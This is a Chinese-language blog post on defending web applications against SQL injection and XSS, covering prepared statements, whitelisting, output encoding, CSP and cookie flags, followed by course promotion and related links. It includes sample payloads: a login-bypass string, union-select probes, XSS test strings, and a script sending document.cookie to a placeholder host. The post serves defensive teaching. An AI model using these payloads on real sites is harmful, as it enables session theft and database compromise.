Web 业务防护:如何防御 SQL 注入与 XSS 攻击

Web安全深度实战:从漏洞挖掘到安全防护的攻防闭环 Web安全是网络安全领域的核心组成部分,其本质在于理解并管理Web应用面临的风险。从原理层面看,安全漏洞的产生往往源于信任边界模糊、输入验证缺失或业务逻辑缺陷。在技术价值上,掌握Web安全能力不仅能有效防御外部攻击,更是构建可信数字业务的基础。当前,随着数字化转型加速,Web应用已成为企业关键资产,其安全防护需求覆盖金融、电商、政务等众多高价值场景。本文聚焦SQL注入、XSS(跨站脚本)等核心漏洞类型,通过手工测试与自动化工具结合的方式,深入剖析从信息收集、漏洞验证到修复防护的完整实战流程,并探讨如何将安全 阅读详情

Web 业务防护:如何防御 SQL 注入与 XSS 攻击

前言

SQL 注入与 XSS 跨站脚本,是 OWASP Top10 常年稳居前列的经典 Web 漏洞,也是渗透测试中最容易挖到的高危漏洞。很多开发以为简单过滤关键字就能防护,结果被各种编码、变形、注释绕过,造成数据库泄露、Cookie 窃取、账户劫持、后台沦陷等严重后果。

SQL 注入核心危害:读取、篡改数据库数据,拿到服务器权限;XSS 核心危害:劫持用户会话、钓鱼、窃取账号、在用户浏览器执行恶意代码。二者攻击入口大多来自用户可控输入:URL 参数、表单、接口 JSON、评论、HTTP 请求头。

本文结合开发编码规范、安全加固、WAF、纵深防御,讲解 SQL 注入、XSS 原理、攻击场景、正确防御手段,同时指出开发最容易踩的坑,适合后端开发、安全测试、运维阅读。

免责声明:本文仅用于 Web 安全学习、授权环境漏洞测试。严禁在未授权网站上进行注入、XSS 测试,未经授权的安全测试违反《网络安全法》,需要承担法律责任。

一、SQL 注入原理与实战防御

1.1 什么是 SQL 注入

当后端直接把用户输入拼接到 SQL 语句中,攻击者输入 SQL 语法字符,篡改原有 SQL 逻辑,让数据库执行非预期 SQL 指令。

经典登录绕过 Payload:

用户名:' OR 1=1 -- 

后端不安全拼接后 SQL 变成:

select * from user where username='' OR 1=1 -- ' and password='xxx'

--代表 SQL 注释,直接绕过密码校验,成功登录。

核心本质:用户输入被数据库解析成 SQL 代码,而不是单纯的数据。

1.2 正确防御方案(优先级从高到低)

✅ 方案 1:使用预编译参数化查询(根治方案,首选)

原理:SQL 语句模板提前发给数据库完成语法编译,用户输入仅作为参数绑定,参数永远不会被数据库解析为 SQL 语法,无论输入任何特殊字符、关键字,只会当成普通字符串处理。

Java 示例:

String sql = "SELECT * FROM user WHERE username = ? AND password = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username);
pstmt.setString(2, password);

MyBatis 注意坑:

  • #{}:预编译占位符,安全;
  • ${}:直接字符串拼接,极易产生注入!只有动态表名、排序字段才不得已使用,并且要做严格白名单校验。

PHP PDO 安全写法:

$stmt = $pdo->prepare("select * from user where username=?");
$stmt->execute([$username]);

Node.js 示例:

const sql = 'SELECT * FROM user WHERE username = ?';
connection.query(sql, [username], function(err, result){})
✅ 方案 2:优先使用 ORM 框架(减少手写 SQL)

MyBatis-Plus、Hibernate、Sequelize、GORM 等 ORM 框架,默认使用参数化查询,大幅减少手动拼接 SQL 带来的注入风险。
⚠️重要提醒:ORM 不等于绝对安全,如果自己拼接原生 SQL 字符串,依然会出现注入漏洞。

✅ 方案 3:输入白名单校验(不是黑名单过滤)

白名单:只允许符合预期格式的数据。
例如手机号只能数字,用户名只能字母数字下划线,限制长度。

// 用户名正则:只允许字母、数字、下划线,长度4~20
^[a-zA-Z0-9_]{4,20}$

❌黑名单不可靠:过滤union、select、'这类关键字,攻击者可以大小写变形、注释拆分、编码绕过。黑名单只能作为辅助,不能作为主防御手段。

✅ 方案 4:数据库账号最小权限原则

业务连接数据库账号,禁止使用 root、sa、sys 超级管理员账号。

  • 普通查询账号:只允许 select;
  • 提交业务账号:仅拥有业务表 insert/update,禁止 drop、alter、exec 等高危权限;
    就算发生注入,也能缩小攻击面,防止拖库、删库。
✅ 方案 5:其他辅助加固
  1. 关闭数据库错误详细信息,不要直接把 SQL 报错返回前端,防止攻击者通过报错获取表名、字段;
  2. 限制数据库连接 IP,业务库不对外网开放;
  3. WAF 添加注入规则,作为最后一层防护。

1.3 SQL 注入常见踩坑

❌坑 1:使用黑名单过滤单引号,攻击者用宽字符注入、编码绕过;
❌坑 2:使用 PDO 但开启模拟预编译(PHP 老版本),模拟预编译不防注入;
❌坑 3:使用 ORM,但是直接拼接字符串写原生 SQL;
❌坑 4:认为前端做校验就安全,前端校验可以被抓包修改,后端校验必不可少。

二、XSS 跨站脚本原理与防御

2.1 XSS 三种类型

  1. 存储型 XSS(高危)
    恶意脚本存入数据库(评论、留言、公告),其他用户访问页面时自动加载执行。持久化攻击,危害最大,可批量窃取大量用户 Cookie。
    Payload 示例:<script>stealCookie=document.cookie;location.href='http://xxx.com/steal?c='+stealCookie</script>
  2. 反射型 XSS
    恶意代码放在 URL 参数,后端拿到参数直接返回页面,不会存入数据库。需要诱导用户点击特制链接才能触发,搜索框、错误页面最常见。
  3. DOM 型 XSS****服务端无漏洞,完全前端漏洞。JS 直接读取 URL、DOM 数据,拼接进页面,不需要后端参与。document.write、innerHTML、eval、location.href 等函数是高危点。

XSS 本质:用户可控数据输出到 HTML 页面,被浏览器解析成 JS 代码执行。

2.2 XSS 核心防御方案

✅ 方案 1:输出上下文编码(最核心手段)

不要简单统一替换<、>,编码方式由输出位置决定,不同上下文需要不同转义规则:

  1. HTML 正文区域:HTML 实体编码,& < > " '转义;
  2. HTML 属性值:属性编码;
  3. JS 代码块内部:JS 转义;
  4. CSS 内:CSS 编码;
  5. URL 参数:URL 编码。

基础 HTML 实体转义函数示例:

function htmlEncode(str){
    return str.replace(/&/g,'&amp;')
    .replace(/</g,'&lt;')
    .replace(/>/g,'&gt;')
    .replace(/"/g,'&quot;')
    .replace(/'/g,'&#x27;');
}

现代前端框架 React、Vue 默认对插值内容自动做 HTML 转义,但是v-html、dangerouslySetInnerHTML会关闭转义,极易引入 XSS 漏洞。

✅ 方案 2:输入校验(白名单优先)

对用户提交内容做限制,比如评论如果不允许 HTML 标签,直接过滤标签;如果富文本业务(编辑器),不要手动写正则过滤标签,使用成熟富文本过滤库(DOMPurify)。

手写 HTML 标签黑名单过滤几乎一定会被绕过。

✅ 方案 3:CSP 内容安全策略(纵深防御,强烈推荐)

CSP 是 HTTP 响应头,相当于浏览器白名单,指定允许加载 JS、图片、脚本来源。即使页面存在 XSS 漏洞,非白名单的脚本也无法执行,是非常优秀的兜底防护。

示例响应头:

Content-Security-Policy: default-src 'self'; script-src 'self'; img-src 'self' data:; object-src 'none'; base-uri 'self';

配置注意事项:

  • 尽量不要开启unsafe-inline、unsafe-eval,开启后 CSP 防护效果大幅下降;
  • 上线先用Content-Security-Policy-Report-Only模式,只记录不拦截,避免误伤业务;
  • 配合 nonce 或者 hash,安全的引入内联脚本。
✅ 方案 4:Cookie 安全属性,减少 XSS 危害

设置 Cookie:HttpOnly;Secure;SameSite=Strict

  • HttpOnly:JS 无法读取 Cookie,就算 XSS 成功,也拿不到会话 Cookie;
  • Secure:仅 HTTPS 下传输 Cookie;
  • SameSite:防御 CSRF,同时降低部分 XSS 劫持风险。

HttpOnly 不能阻止 XSS 脚本执行,只是保护 Cookie,不能单独作为 XSS 防御手段。

✅ 方案 5:WAF 辅助防护

WAF 识别<script、javascript:、事件标签等 XSS 特征,拦截恶意请求,属于外层防护,不能替代代码层修复。

2.3 XSS 高频踩坑清单

❌坑 1:只在输入时过滤,存入数据库,输出不编码(二次存储型 XSS);
❌坑 2:统一 HTML 转义后直接放到 JS 代码块,上下文不匹配,依旧可以绕过;
❌坑 3:Vue/React 使用 v-html、dangerouslySetInnerHTML 渲染用户输入;
❌坑 4:富文本编辑器,只简单过滤 script 标签,忽略 onclick、onerror、javascript 伪协议;
❌坑 5:DOM-XSS 只在后端做防护,前端 JS 直接操作 DOM,后端无法管控。

三、SQL 注入与 XSS 防御对比表

表格

漏洞根本成因首选防御辅助加固常见坑
SQL 注入用户输入拼入 SQL 语句,被数据库解析参数化预编译查询最小数据库权限、关闭详细报错、WAF使用 ${} 字符串拼接、黑名单过滤
XSS 跨站脚本用户数据输出到页面,被浏览器解析 JS输出上下文编码CSP、Cookie HttpOnly、DOMPurify 富文本过滤v-html、innerHTML、只做输入过滤不做输出编码

四、完整纵深防御体系(开发 + 网关 + 测试)

1. 开发阶段(根源防护,最重要)

  1. 所有用户输入(参数、表单、JSON、Header)默认不可信;
  2. SQL 全部使用预编译,禁止直接拼接 SQL 字符串;
  3. 数据输出到页面,根据上下文做对应编码;富文本使用成熟净化库;
  4. 代码安全审计,扫描工具检查 SQL 拼接、危险 DOM 函数;

2. 网关 / 中间件层

  1. WAF 部署,拦截注入、XSS 攻击 Payload;
  2. 关闭 Web 详细错误页面,不泄露代码、数据库信息;
  3. 配置 CSP、X-XSS-Protection 安全响应头;

3. 测试上线阶段

  1. 上线前安全扫描:使用 AWVS、Xray 扫描注入、XSS 漏洞;
  2. 人工渗透测试,尝试各种变形 Payload 绕过过滤;
  3. 安全评审,高危漏洞必须修复才能上线;

4. 运维监控

  1. WAF 日志审计,持续监控注入、XSS 攻击请求;
  2. 告警高频攻击 IP,拉黑恶意 IP;

五、漏洞快速自测 Payload(授权环境测试使用)

SQL 注入简易测试:

' and 1=1 -- 
' and 1=2 -- 
union select 1,version() --

XSS 简易测试:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
javascript:alert(1)

注意:仅可用于自己拥有授权的业务站点,外部网站未经授权严禁测试。

六、总结

SQL 注入的核心思路:分离 SQL 结构和用户数据,使用预编译,禁止字符串拼接 SQL;
XSS 的核心思路:输入校验,输出编码,CSP 兜底,区分渲染上下文。

很多开发会误以为 WAF 可以解决一切问题,WAF 只是外层防护,很容易被编码、变形、请求拆分绕过,漏洞的根治一定是在代码层面修复。二者都是经典漏洞,但直到现在依然在大量业务系统中频繁出现,根源就是开发不理解漏洞原理,依赖简单黑名单过滤。

一句话记住:防注入,不用字符串拼接 SQL;防 XSS,输出时按上下文编码,CSP 做兜底;所有用户输入永远不可信。


最后

网络安全需要学习那些知识

网络安全零基础入门学习路线&规划

初级
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

在这里插入图片描述

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!

img

7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。

8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。
在这里插入图片描述

网络安全工程师企业级学习路线

在这里插入图片描述

视频配套资料&国内外网安书籍、文档&工具
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

在这里插入图片描述

一些我自己买的、其他平台白嫖不到的视频教程:

要学习网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。

机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!

这份完整版的学习资料已经上传优快云,朋友们如果需要可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费】

img

Web安全攻防全景图:十大经典攻击手段与纵深防御实战指南 在Web应用开发与运维领域,安全是保障业务连续性和数据资产的核心。理解Web安全攻防原理,需要从基础概念入手:攻击者常利用应用程序对用户输入的信任缺失,通过注入恶意代码或构造非法请求,实现窃取数据、提升权限或破坏服务等目的。其技术价值在于构建系统性的安全认知,将孤立的技术点串联成完整的攻击链与防御面。典型的应用场景包括金融、电商、社交等任何涉及用户交互与数据处理的在线服务。本文聚焦于跨站脚本攻击(XSS)和SQL注入等经久不衰的经典威胁,通过剖析其利用方式与防御逻辑,旨在为开发者、运维及安全工程师提供一张清 阅读详情

相关推荐

WAF深度解析:Web应用防火墙如何防御SQL注入与XSS攻击

Web应用防火墙(WAF)是网络安全纵深防御体系中的关键组件,专门设计用于保护Web应用免受应用层攻击。其核心原理在于深度解析HTTP/HTTPS流量,通过规则库、语义分析和行为分析等多层次检测引擎,识别并拦截隐藏在合法请求中的恶意代码。WAF的核心技术价值在于为Web应用提供了一道前置的智能防线,能够有效防御SQL注入、XSS跨站脚本等常见攻击,弥补了传统网络防火墙在应用层防护上的不足。在实际应用场景中,WAF通常部署在Web服务器之前,对流量进行实时检测与过滤,是保障在线业务安全、防止数据泄露和服务篡改

weixin_32736961的博客 328

阿里云代理商:阿里云WAF能防护哪些Web攻击?

阿里云WAF(Web Application Firewall,Web应用防火墙)是一款云端安全防护服务,专注于防御针对Web应用的各种网络攻击。它位于网站与用户之间,通过实时检测、分析、拦截可疑请求,保护网站、应用程序和API接口的安全。与传统硬件防火墙不同,阿里云WAF聚焦于应用层防护,能够快速应对多种复杂的攻击方式,并保持防护规则的持续更新。阿里云WAF能够防护包括SQL注入、XSS、CSRF、文件上传漏洞、目录遍历、恶意爬虫等在内的多种Web攻击,并且具备实时更新、自适应策略和云端高可用等优势。

Vx_junsouyun06的博客 1281

JeecgBoot安全防护实战:SQL注入与XSS漏洞的纵深防御指南

在Web应用开发中,SQL注入与XSS(跨站脚本攻击)是两大核心安全威胁,直接关系到数据安全与用户隐私。SQL注入通过恶意SQL代码篡改数据库查询逻辑,可能导致数据泄露或服务器失陷;XSS则通过在网页中注入恶意脚本,窃取用户会话信息或实施钓鱼攻击。其技术价值在于构建稳固的应用安全基线,防止业务逻辑被恶意利用。在低代码开发平台如JeecgBoot中,尽管框架提供了基础防护,但业务逻辑中的安全细节仍需开发者主动加固。本文聚焦于JeecgBoot项目,从全局配置、数据访问层到业务逻辑层,系统阐述如何通过预编译、白

weixin_42539414的博客 272

【网络安全】常见攻击与防御:XSS、CSRF、SQL 注入、DDoS、越权访问、中间人攻击(附《思维导图》)

本文系统梳理XSS、CSRF、SQL注入、DDoS、越权访问、中间人攻击六大高发漏洞,覆盖网络层至业务层全攻击面,结合原理、危害与分层防御策略,构建纵深防御知识体系。

小江的记录本 540

Web安全架构设计:从SQL注入到DDoS的纵深防御实战指南

在构建现代Web应用时,安全架构是系统设计的基石。其核心原理在于理解攻击链,从数据层、应用层到资源层构建多层防御体系。这一架构的技术价值在于将安全从被动补救转变为主动免疫,贯穿于设计、开发、测试、运维的全生命周期。在应用场景上,无论是电商平台、内容社区还是企业内部系统,都需要应对诸如SQL注入、XSS、CSRF和DDoS等常见威胁。其中,参数化查询是根治SQL注入的根本方案,而输出编码与内容安全策略(CSP)则是防御XSS攻击的关键。通过采用白名单、最小权限及纵深防御思想,并结合CSRF Token、Sam

weixin_29741447的博客 248

PHP入侵检测防御系统源码解析:Web应用自防护实战

Web应用安全防护中,商业WAF成本高、规则维护复杂,而应用层自防御正成为中小型站点的高效补充。入侵检测系统(IDPS)通过统一接管PHP应用入口,对请求参数进行归一化、规则匹配与综合评分,可实现动态拦截、验证码或IP封禁。基于PHP实现的WAF不仅能感知业务上下文,还能融合正则特征与语义分析,覆盖扫描器与脚本攻击。这一方案适合个人站点、开源项目及企业内网系统,在免商业依赖的前提下显著提升Web应用健壮性。本文从PHP IDPS的设计原理、规则引擎、评分机制到部署调优与对抗绕过,完整拆解一套可落地的源码实现

weixin_32247165的博客 303

Web安全威胁与防护:六大攻击类型及防御实战

Web安全是保护网站免受恶意攻击的关键技术领域,涉及多种攻击类型如SQL注入、XSS、CSRF等。这些攻击通过利用应用层漏洞,可能导致数据泄露、服务中断等严重后果。防护原理包括输入验证、参数化查询、内容安全策略等技术手段,其技术价值在于构建纵深防御体系保障业务连续性。典型应用场景涵盖电商、金融等在线服务平台。本文以OWASP Top 10为基础,结合WAF配置、应急响应等工程实践,详细解析SQL注入防护中参数化查询的实现,以及XSS防御时HTML实体编码的应用技巧,为开发者提供可落地的安全方案。

weixin_28607671的博客 156

Information Fusion投稿避坑指南:从初稿到返修的完整流程解析(附模板下载)

本文详细解析了向Information Fusion投稿的全流程,从初稿准备到返修策略,涵盖了22个关键细节。特别强调了投稿前的隐形门槛、LaTeX模板的字体陷阱、图表规范要求以及返修回复的进阶技巧,帮助研究者避免常见错误,提升稿件接受率。附有实用模板下载,助力学术写作效率提升。

tgb34567890的博客 1421

金融行业对于安全防护有什么解决方案

随着金融科技的飞速发展,网络攻击的手段也日益复杂多变,给金融行业的安全防护带来了前所未有的挑战。作为金融行业的从业者,我们深知保护客户数据安全、维护系统稳定运行的重要性,这不仅是法律法规的要求,更是我们赢得客户信任、持续稳健发展的基石。金融行业的网站和应用系统,往往是黑客攻击的首选目标,因为它们存储着大量敏感信息,如用户身份信息、交易记录等。传统安全手段往往难以应对快速变化的威胁环境,而WAF通过其智能化的学习与自适应能力,能够不断更新安全策略,针对新出现的威胁模式进行快速响应。智能化策略,提升防护效率。

qq177803623的博客 350

在Unity中为Sentis部署的YOLOv8模型集成NMS层并实现移动端性能优化

本文详细讲解了在Unity中利用Sentis部署YOLOv8模型时,如何通过代码动态集成NMS层以解决移动端性能瓶颈。文章核心在于避免导出时绑定NMS,转而使用Sentis原生API在运行时高效构建NMS处理流程,并分享了关键的GPU数据操作与移动端性能优化技巧,确保模型在移动设备上流畅运行。

p1q2r的博客 1095

硬件-汽车电子-TBOX/TCAM核心器件选型与系统集成设计指南

本文深入解析汽车电子TBOX/TCAM硬件架构与系统集成设计,涵盖核心器件选型、电源管理、信号完整性优化等关键点。重点分享5G模组选型避坑经验、MCU隐性指标及热设计验证方案,为车载通信系统开发提供实用指南。

weixin_30352645的博客 531

WAF作为Web安全第一道门:SQL注入与XSS攻击下的能力边界

Web安全防护体系中,WAF常被视为应用层的第一道防线,其核心原理是在流量入口处对HTTP请求进行内容级安检,通过规则匹配、语义分析和评分机制识别恶意载荷。然而,WAF的拦截能力并非万能:对SQL注入这类具有明确攻击特征的请求识别率较高,但对XSS攻击中的存储型、DOM型却存在天然盲区,更别提逻辑漏洞和业务越权问题。攻击者还会利用编码变形、协议解析差异等方式绕过检测,甚至因资产未接入、规则不更新等管理疏漏导致防护失效。真正有效的做法是将WAF作为分层防御的起点,结合代码加固、漏洞扫描和运行时防护,持续运营规

weixin_28568819的博客 75

华为od 面试八股文_C语言_01_含答案

华为od 面试八股文_C语言_01_含答案

MISAYAONE的博客 3228

安全技术Web应用防火墙规则配置与攻击防护的效果验证

Web应用防火墙(WAF)作为保护网站免受恶意攻击的关键技术,其规则配置与防护效果验证直接关系到企业数据安全。本文将围绕WAF规则配置与攻击防护效果验证,从多个角度展开分析,帮助读者掌握关键实践方法。例如,针对SQL注入攻击,应启用预定义的SQL注入检测规则,并针对业务逻辑定制白名单,避免误拦截。建议采用分层防护策略,对关键业务路径启用严格规则,非核心路径适当放宽,兼顾安全与用户体验。IPS补充网络层防护,与WAF形成纵深防御。未来,随着AI技术的应用,WAF规则自动化优化将成为趋势,进一步降低运维成本。

iwkwxl_929的博客 178

Python爬虫反爬:突破Cloudflare 5秒盾(免费方案,小红书/知乎可用)

这套方案的核心优势是“真实模拟+免费无门槛”无需付费代理、无需复杂JS解密,仅用playwright模拟真实浏览器,即可突破Cloudflare 5秒盾;适配小红书、知乎、豆瓣等主流平台,修改配置即可复用;兼顾易用性和稳定性,新手也能快速上手,企业级场景可通过IP轮换、异步爬取进一步优化。“模拟人类行为到底”——Cloudflare的反爬本质是区分“机器”和“人类”,只要爬虫的浏览器指纹、行为特征与人类一致,就能稳定绕过限制。

专注于Python爬虫开发,分享爬虫技巧、项目实战与反爬经验,使用Scrapy、BeautifulSoup等工具,解决数据抓取难题。 2882

【C#学习记录】如何让界面控件实现自适应布局(Winform)

小伙伴们大家好,我是雷工!在软件界面设计中,客户常常要求设计的界面可以随意缩放,缩放过程中,界面中的按钮等控件也会随着窗体变大缩小自动调整显示位置和尺寸大小。在C#的Winform窗体中如何实现这个效果,下面我们一起学习下。

做有价值的事,积累有价值的笔记! 1万+

德迅高防服务器:T级防护筑牢网络防线,为企业业务稳定护航

硬件层面,设备采用高端企业级硬件配置,搭载稳定高效的服务器架构,硬件防护模块与软件防护体系深度融合,算力充足、稳定性极强,可支撑高并发访问、高频数据交互、长时间不间断运行,完美适配游戏服务器、直播流媒体、大型电商促销、高流量资讯网站等高性能需求场景。最核心的是,平台提供24/7 1V1专属专家技术支撑,全天候在线响应,从服务器部署、防护策略调试、攻击应急处理到日常运维答疑,全程一对一专属服务,无需企业组建专业安全运维团队,大幅降低人力与运维成本,适配中小微企业轻量化运维需求。

shuofang04的博客 170

基于潜在空间分数匹配的混合型表格数据合成方法

然而,在我们的模型中,β 预计会更小,因为我们不需要嵌入的分布精确地遵循标准高斯分布,因为我们还有一个额外的扩散模型。受 Transformer 在表格数据分类/回归任务中取得成功的启发,我们首先为每一列学习一个独特的标记器,然后将标记(列)级表示输入到 Transformer 中,以捕捉列之间错综复杂的关系。在第 4 节中,我们证明了通过这种设计,TABSYN 可以在不到 20 次函数评估(NFE)的情况下生成高质量的合成表格数据,这比其他基于扩散的表格数据合成方法要少得多。是标记器的可学习参数。

步子哥的博客 855

常见网络攻击及防御方法总结(XSS、SQL注入、CSRF攻击)

  从互联网诞生之初起,无时无刻不存在网络攻击,其中XSS攻击和SQL注入攻击是网站应用攻击的最主要的两种手段,全球大约70%的网站应用攻击都来自XSS攻击和SQL注入攻击。此外,常用的网站应用攻击还包括CSRF、Session劫持等。 1、 XSS攻击   XSS攻击即跨站点脚本攻击(Cross Site Script),指的是攻击者通过篡改网页,注入恶意的HTML脚本,在用户浏览网页时,控制用户浏览器进行恶意操作的一种攻击方式。   常见的XSS攻击类型有两种,一种是反射型,攻击者诱使用户点击一个嵌入恶

xiaohui的博客 4821

使用 MATLAB/Simulink + Simscape Electrical + SimPowerSystems + Stateflow,构建一个多能互补微电网系统的动态响应仿真模型

本文详细介绍了使用MATLAB/Simulink构建多能互补微电网动态响应仿真模型的方法。文章从系统架构设计入手,包含光伏、风电、柴油发电机、锂电池储能等多种组件,重点讲解了建模过程、控制策略(下垂控制、PLL、SOC管理)和模式切换逻辑(Stateflow)。通过四种典型场景(负荷突增、光伏出力骤降、并网/孤岛切换、电动机启动)的仿真分析,验证了微电网在动态响应中的关键性能指标,并提出了高可靠性设计建议。该模型为微电网的稳定性分析和优化设计提供了有效工具,特别强调了储能系统在快速功率支撑中的重要作用。

amy_mhd的博客 160

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

Web安全 - Spring Boot应用中的XSS攻击与SQL注入防护实战

本文详细介绍了XSS跨站脚本攻击和SQL注入攻击的原理、分类及其危害,并提供在Spring Boot应用中防止这两种安全漏洞的完整解决方案。通过创建请求过滤器、重写HTTP请求包装类和消息转换器等技术手段,实现对参数和JSON请求体的全方位防护,确保Web应用的安全性。

小工匠 2170

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

网络安全:XSS/CSRF/SQL注入攻击与防御

Web安全是开发者的必修课。为什么用户Cookie被盗?为什么账户被盗刷?为什么数据库被拖库?XSS、CSRF、SQL注入是OWASP Top 3的安全威胁,理解攻击原理才能有效防御。我并没有能力让你成为安全专家,我只是想让你彻底理解三种攻击的原理、为什么常规防御会失效、以及如何设计安全防护方案。每种攻击都会详细推导,讲透本质。从"用户Cookie被盗导致账户被盗"故障出发,剖析XSS/CSRF/SQL注入的攻击原理与防御方案。

比较是偷走幸福的小偷 4103

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

上一篇: 服务器安全加固清单,上线前必做检查项
下一篇: WAF 绕过原理与业务侧规避方案
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值